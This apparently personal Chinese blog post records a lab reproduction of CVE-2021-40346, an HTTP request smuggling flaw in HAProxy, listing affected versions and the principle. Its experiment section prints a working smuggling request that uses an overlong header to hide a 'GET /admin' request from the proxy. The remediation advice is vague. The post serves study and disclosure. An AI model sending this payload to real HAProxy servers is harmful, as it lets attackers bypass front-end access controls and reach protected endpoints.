CVE-2021-40346 HAProxy——http请求走私漏洞
零、写在前面
本来打算学习积累一下中间件、oracle、shell这方面的知识(别问,问就是工作中需要的多一些),过程中忽然发现了http smuggle这个漏洞,比较新奇,类似于溢出的利用方式深深把我吸引住了……索性先学习一下http是怎么走私的吧~
一、漏洞概述
HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。
HAProxy特别适用于那些负载特大的web站点,这些站点通常又需要会话保持或七层处理。HAProxy运行在当前的硬件上,完全可以支持数以万计的并发连接。并且它的运行模式使得它可以很简单安全的整合进架构中, 同时可以保护web服务器不被暴露到网络上。
二、影响版本
- 2.0.25
- 2.2.17
- 2.3.14
- 2.4.4
三、漏洞原理
简单来说,如果请求包中同时存在Transfor-Encoding和Content-Length,并且代理与服务器分别依据两个不同的参数进行包大小的判断,就有可能会错误的判断body,从而引起http smuggle。详情参见大佬的文章——https://blog.csdn.net/weixin_50464560/article/details/120458520
四、漏洞复现环境
OS:Kali Linux
五、实验步骤
1.根据github提示,安装docker,访问页面
2.抓包、构造恶意请求数据包
POST /guest HTTP/1.1 Host: 192.168.117.131:10001 Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Content-Length: 23 GET /admin HTTP/1.1 h:GET /another HTTP/1.1 Host: 192.168.117.131:10001
3.发送恶意数据包,看到成功smuggle
六、修复方式
最好的修复方式——限制包的长度……
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?